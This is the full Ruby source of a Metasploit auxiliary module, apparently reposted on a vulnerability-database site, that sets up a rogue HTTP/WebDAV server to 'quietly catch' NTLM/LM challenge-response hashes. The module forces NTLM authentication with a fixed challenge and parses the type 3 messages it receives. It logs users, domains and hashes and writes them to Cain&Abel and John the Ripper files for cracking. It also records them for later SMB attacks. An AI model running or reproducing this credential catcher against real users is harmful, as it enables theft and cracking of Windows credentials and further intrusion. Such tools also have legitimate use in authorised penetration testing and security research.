##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
NTLM_CONST = Rex::Proto::NTLM::Constants
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
MESSAGE = Rex::Proto::NTLM::Message
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'HTTP Client MS Credential Catcher',
'Description' => %q{
This module attempts to quietly catch NTLM/LM Challenge hashes.
},
'Author' =>
[
'Ryan Linn <sussurro[at]happypacket.net>',
],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'WebServer', 'Description' => 'Run capture web server' ]
],
'PassiveActions' =>
[
'WebServer'
],
'DefaultAction' => 'WebServer'))
register_options([
#OptString.new('LOGFILE', [ false, "The local filename to store the captured hashes", nil ]),
OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]),
OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]),
OptString.new('CHALLENGE', [ true, "The 8 byte challenge ", "1122334455667788" ])
])
register_advanced_options([
OptString.new('DOMAIN', [ false, "The default domain to use for NTLM authentication", "DOMAIN"]),
OptString.new('SERVER', [ false, "The default server to use for NTLM authentication", "SERVER"]),
OptString.new('DNSNAME', [ false, "The default DNS server name to use for NTLM authentication", "SERVER"]),
OptString.new('DNSDOMAIN', [ false, "The default DNS domain name to use for NTLM authentication", "example.com"]),
OptBool.new('FORCEDEFAULT', [ false, "Force the default settings", false])
])
end
def on_request_uri(cli, request)
vprint_status("Request '#{request.uri}'")
case request.method
when 'OPTIONS'
process_options(cli, request)
else
# If the host has not started auth, send 401 authenticate with only the NTLM option
if(!request.headers['Authorization'])
vprint_status("401 '#{request.uri}'")
response = create_response(401, "Unauthorized")
response.headers['WWW-Authenticate'] = "NTLM"
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
response.body =
"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
cli.send_response(response)
else
vprint_status("Continuing auth '#{request.uri}'")
method,hash = request.headers['Authorization'].split(/\s+/,2)
# If the method isn't NTLM something odd is going on. Regardless, this won't get what we want, 404 them
if(method != "NTLM")
print_status("Unrecognized Authorization header, responding with 404")
send_not_found(cli)
return false
end
response = handle_auth(cli,hash)
cli.send_response(response)
end
end
end
def run
if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/
@challenge = [ datastore['CHALLENGE'] ].pack("H*")
else
print_error("CHALLENGE syntax must match 1122334455667788")
return
end
exploit()
end
def process_options(cli, request)
print_status("OPTIONS #{request.uri}")
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
'Cache-Control' => 'private'
}
resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
def handle_auth(cli,hash)
# authorization string is base64 encoded message
message = Rex::Text.decode_base64(hash)
if(message[8,1] == "\x01")
domain = datastore['DOMAIN']
server = datastore['SERVER']
dnsname = datastore['DNSNAME']
dnsdomain = datastore['DNSDOMAIN']
if(!datastore['FORCEDEFAULT'])
dom,ws = parse_type1_domain(message)
if(dom)
domain = dom
end
if(ws)
server = ws
end
end
response = create_response(401, "Unauthorized")
chalhash = MESSAGE.process_type1_message(hash,@challenge,domain,server,dnsname,dnsdomain)
response.headers['WWW-Authenticate'] = "NTLM " + chalhash
return response
# if the message is a type 3 message, then we have our creds
elsif(message[8,1] == "\x03")
domain,user,host,lm_hash,ntlm_hash = MESSAGE.process_type3_message(hash)
nt_len = ntlm_hash.length
if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
:lm_hash => lm_hash,
:nt_hash => ntlm_hash
}
if arg[:lm_hash][16,32] == '0' * 32
arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
end
# if the length of the ntlm response is not 24 then it will be bigger and represent
# a ntlmv2 response
elsif nt_len > 48 #lmv2/ntlmv2
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
:lm_hash => lm_hash[0, 32],
:lm_cli_challenge => lm_hash[32, 16],
:nt_hash => ntlm_hash[0, 32],
:nt_cli_challenge => ntlm_hash[32, nt_len - 32]
}
elsif nt_len == 0
print_status("Empty hash from #{host} captured, ignoring ... ")
else
print_status("Unknown hash type from #{host}, ignoring ...")
end
# If we get an empty hash, or unknown hash type, arg is not set.
# So why try to read from it?
if not arg.nil?
arg[:host] = host
arg[:user] = user
arg[:domain] = domain
arg[:ip] = cli.peerhost
html_get_hash(arg)
end
response = create_response(200)
response.headers['Cache-Control'] = "no-cache"
return response
else
response = create_response(200)
response.headers['Cache-Control'] = "no-cache"
return response
end
end
def parse_type1_domain(message)
domain = nil
workstation = nil
reqflags = message[12,4]
reqflags = reqflags.unpack("V").first
if((reqflags & NTLM_CONST::NEGOTIATE_DOMAIN) == NTLM_CONST::NEGOTIATE_DOMAIN)
dom_len = message[16,2].unpack('v')[0].to_i
dom_off = message[20,2].unpack('v')[0].to_i
domain = message[dom_off,dom_len].to_s
end
if((reqflags & NTLM_CONST::NEGOTIATE_WORKSTATION) == NTLM_CONST::NEGOTIATE_WORKSTATION)
wor_len = message[24,2].unpack('v')[0].to_i
wor_off = message[28,2].unpack('v')[0].to_i
workstation = message[wor_off,wor_len].to_s
end
return domain,workstation
end
def html_get_hash(arg = {})
ntlm_ver = arg[:ntlm_ver]
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
lm_hash = arg[:lm_hash]
nt_hash = arg[:nt_hash]
else
lm_hash = arg[:lm_hash]
nt_hash = arg[:nt_hash]
lm_cli_challenge = arg[:lm_cli_challenge]
nt_cli_challenge = arg[:nt_cli_challenge]
end
domain = arg[:domain]
user = arg[:user]
host = arg[:host]
ip = arg[:ip]
unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then
@previous_lm_hash = lm_hash
@previous_ntlm_hash = nt_hash
# Check if we have default values (empty pwd, null hashes, ...) and adjust the on-screen messages correctly
case ntlm_ver
when NTLM_CONST::NTLM_V1_RESPONSE
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'ntlm' })
print_status("NLMv1 Hash correspond to an empty password, ignoring ... ")
return
end
if (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then
lm_hash_message = "Disabled"
elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge,
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'lm' })
lm_hash_message = "Disabled (from empty password)"
else
lm_hash_message = lm_hash
lm_chall_message = lm_cli_challenge
end
when NTLM_CONST::NTLM_V2_RESPONSE
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
:cli_challenge => [nt_cli_challenge].pack("H*"),
:user => Rex::Text::to_ascii(user),
:domain => Rex::Text::to_ascii(domain),
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'ntlm' })
print_status("NTLMv2 Hash correspond to an empty password, ignoring ... ")
return
end
if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16
lm_hash_message = "Disabled"
lm_chall_message = 'Disabled'
elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge,
:cli_challenge => [lm_cli_challenge].pack("H*"),
:user => Rex::Text::to_ascii(user),
:domain => Rex::Text::to_ascii(domain),
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'lm' })
lm_hash_message = "Disabled (from empty password)"
lm_chall_message = 'Disabled'
else
lm_hash_message = lm_hash
lm_chall_message = lm_cli_challenge
end
when NTLM_CONST::NTLM_2_SESSION_RESPONSE
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
:cli_challenge => [lm_hash].pack("H*")[0,8],
:ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, :type => 'ntlm' })
print_status("NTLM2_session Hash correspond to an empty password, ignoring ... ")
return
end
lm_hash_message = lm_hash
lm_chall_message = lm_cli_challenge
end
# Display messages
domain = Rex::Text::to_ascii(domain)
user = Rex::Text::to_ascii(user)
capturedtime = Time.now.to_s
case ntlm_ver
when NTLM_CONST::NTLM_V1_RESPONSE
capturelogmessage =
"#{capturedtime}\nNTLMv1 Response Captured from #{host} \n" +
"DOMAIN: #{domain} USER: #{user} \n" +
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} \nNTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n"
when NTLM_CONST::NTLM_V2_RESPONSE
capturelogmessage =
"#{capturedtime}\nNTLMv2 Response Captured from #{host} \n" +
"DOMAIN: #{domain} USER: #{user} \n" +
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} " +
"LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : "<NULL>"}\n" +
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
"NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : "<NULL>"}\n"
when NTLM_CONST::NTLM_2_SESSION_RESPONSE
# we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr
# also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture
capturelogmessage =
"#{capturedtime}\nNTLM2_SESSION Response Captured from #{host} \n" +
"DOMAIN: #{domain} USER: #{user} \n" +
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n" +
"NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : "<NULL>"} \n"
else # should not happen
return
end
print_status(capturelogmessage)
# DB reporting
# Rem : one report it as a smb_challenge on port 445 has breaking those hashes
# will be mainly use for psexec / smb related exploit
opts_report = {
ip: ip,
user: user,
domain: domain,
ntlm_ver: ntlm_ver,
lm_hash: lm_hash,
nt_hash: nt_hash
}
opts_report.merge!(lm_cli_challenge: lm_cli_challenge) if lm_cli_challenge
opts_report.merge!(nt_cli_challenge: nt_cli_challenge) if nt_cli_challenge
report_creds(opts_report)
#if(datastore['LOGFILE'])
# File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
#end
if(datastore['CAINPWFILE'] and user)
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
fd = File.open(datastore['CAINPWFILE'], "ab")
fd.puts(
[
user,
domain ? domain : "NULL",
@challenge.unpack("H*")[0],
lm_hash ? lm_hash : "0" * 48,
nt_hash ? nt_hash : "0" * 48
].join(":").gsub(/\n/, "\\n")
)
fd.close
end
end
if(datastore['JOHNPWFILE'] and user)
case ntlm_ver
when NTLM_CONST::NTLM_V1_RESPONSE, NTLM_CONST::NTLM_2_SESSION_RESPONSE
fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', "ab")
fd.puts(
[
user,"",
domain ? domain : "NULL",
lm_hash ? lm_hash : "0" * 48,
nt_hash ? nt_hash : "0" * 48,
@challenge.unpack("H*")[0]
].join(":").gsub(/\n/, "\\n")
)
fd.close
when NTLM_CONST::NTLM_V2_RESPONSE
#lmv2
fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', "ab")
fd.puts(
[
user,"",
domain ? domain : "NULL",
@challenge.unpack("H*")[0],
lm_hash ? lm_hash : "0" * 32,
lm_cli_challenge ? lm_cli_challenge : "0" * 16
].join(":").gsub(/\n/, "\\n")
)
fd.close
#ntlmv2
fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2' , "ab")
fd.puts(
[
user,"",
domain ? domain : "NULL",
@challenge.unpack("H*")[0],
nt_hash ? nt_hash : "0" * 32,
nt_cli_challenge ? nt_cli_challenge : "0" * 160
].join(":").gsub(/\n/, "\\n")
)
fd.close
end
end
end
end
def report_creds(opts)
ip = opts[:ip] || rhost
user = opts[:user] || nil
domain = opts[:domain] || nil
ntlm_ver = opts[:ntlm_ver] || nil
lm_hash = opts[:lm_hash] || nil
nt_hash = opts[:nt_hash] || nil
lm_cli_challenge = opts[:lm_cli_challenge] || nil
nt_cli_challenge = opts[:nt_cli_challenge] || nil
case ntlm_ver
when NTLM_CONST::NTLM_V1_RESPONSE, NTLM_CONST::NTLM_2_SESSION_RESPONSE
hash = [
user, '',
domain ? domain : 'NULL',
lm_hash ? lm_hash : '0' * 48,
nt_hash ? nt_hash : '0' * 48,
@challenge.unpack('H*')[0]
].join(':').gsub(/\n/, '\\n')
report_hash(ip, user, 'netntlm', hash)
when NTLM_CONST::NTLM_V2_RESPONSE
hash = [
user, '',
domain ? domain : 'NULL',
@challenge.unpack('H*')[0],
lm_hash ? lm_hash : '0' * 32,
lm_cli_challenge ? lm_cli_challenge : '0' * 16
].join(':').gsub(/\n/, '\\n')
report_hash(ip, user, 'netlmv2', hash)
hash = [
user, '',
domain ? domain : 'NULL',
@challenge.unpack('H*')[0],
nt_hash ? nt_hash : '0' * 32,
nt_cli_challenge ? nt_cli_challenge : '0' * 160
].join(':').gsub(/\n/, '\\n')
report_hash(ip, user, 'netntlmv2', hash)
else
hash = domain + ':' +
( lm_hash + lm_cli_challenge.to_s ? lm_hash + lm_cli_challenge.to_s : '00' * 24 ) + ':' +
( nt_hash + nt_cli_challenge.to_s ? nt_hash + nt_cli_challenge.to_s : '00' * 24 ) + ':' +
datastore['CHALLENGE'].to_s
report_hash(ip, user, nil, hash)
end
end
def report_hash(ip, user, type_hash, hash)
service_data = {
address: ip,
port: 445,
service_name: 'smb',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: hash,
private_type: :nonreplayable_hash,
username: user
}.merge(service_data)
unless type_hash.nil?
credential_data.merge!(jtr_format: type_hash)
end
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation